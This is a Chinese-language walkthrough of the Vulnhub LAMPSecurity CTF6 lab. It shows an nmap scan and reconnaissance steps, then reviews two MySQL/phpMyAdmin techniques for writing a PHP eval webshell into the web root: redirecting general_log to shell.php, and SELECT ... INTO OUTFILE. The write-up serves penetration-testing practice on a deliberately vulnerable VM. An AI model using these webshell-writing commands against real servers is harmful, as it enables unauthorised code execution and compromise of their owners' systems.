LAMPSecurity: CTF6 Vulnhub Walkthrough-有解無憂

鏡像下載地址：

https://www.vulnhub.com/entry/lampsecurity-ctf6,85/

主機掃描：

╰─ nmap -p- -sV -oA scan 10.10.202.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-21 08:57 CST
Nmap scan report for 10.10.202.130
Host is up (0.0029s latency).
Not shown: 65525 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
80/tcp open http Apache httpd 2.2.3 ((CentOS))
110/tcp open pop3 Dovecot pop3d
111/tcp open rpcbind 2 (RPC #100000)
143/tcp open imap Dovecot imapd
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
624/tcp open status 1 (RPC #100024)
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
3306/tcp open mysql MySQL 5.0.45
MAC Address: 00:0C:29:62:3B:5A (VMware)

目錄掃描

phpinfo 獲取物理路徑：/var/www/html

網站備份尋找敏感資訊

phpmyadmin 登錄試試

phpadmin 寫shell

這里簡單下復習下PHPadmin 拿shell的幾種思路：

1）志檔案寫入一句話來獲取webshell
general.log變數是指是否啟動記錄日志；而general log file指的是日志檔案的路徑，可以看到general.log變數的狀態為OFF，故我們要修改為ON；general log file變數中的*.log的后綴我們改為*php，拿完webshell記得要改回去喲，SQL陳述句進行修改

show global variables like "%log%"

set global general_log = "ON";
SET global general_log_file='/var/www/html/shell.php'
select "<?php eval($_POST['cmd']);?>"

2）利用插入一句話來提取webshell

show global variables like '%secure%';顯示是NULL值，這樣的情況下我們插入一句話是無法插入的，需要我們修改secure_file_priv=''為空值才能插入一句話：

解釋一下：

secure_file_priv為null 表示不允許匯入匯出；

secure_file_priv指定檔案夾時，表示mysql的匯入匯出只能發生在指定的檔案夾；

secure_file_priv沒有設定時，則表示沒有任何限制

select "<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/hack.php'

這里日志檔案沒有開啟，第一種方式無失效，第二種方式，標識沒有限制，可以嘗試寫webshell